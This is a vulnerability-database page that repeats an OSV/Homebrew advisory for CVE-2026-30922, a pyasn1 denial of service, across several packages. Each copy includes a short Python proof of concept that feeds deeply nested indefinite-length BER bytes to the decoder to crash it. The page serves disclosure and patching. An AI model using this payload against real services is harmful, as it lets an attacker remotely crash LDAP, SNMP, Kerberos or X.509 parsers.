    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "duplicity",
            "purl": "pkg:brew/duplicity"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.7.06_1"
                },
                {
                  "fixed": "0.8.03"
                },
                {
                  "introduced": "0.8.05_1"
                },
                {
                  "fixed": "3.0.7_7"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-duplicity-CVE-2026-30922",
      "modified": "2026-10-31T18:52:12Z",
      "published": "2026-08-13T16:44:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-DVC-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:44 – Updated: 2026-10-29 23:00 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dvc",
            "purl": "pkg:brew/dvc"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.63.4"
                },
                {
                  "fixed": "3.67.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-dvc-CVE-2026-30922",
      "modified": "2026-10-29T23:00:16Z",
      "published": "2026-08-13T16:44:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-GCALCLI-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:49 – Updated: 2026-10-31 19:26 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
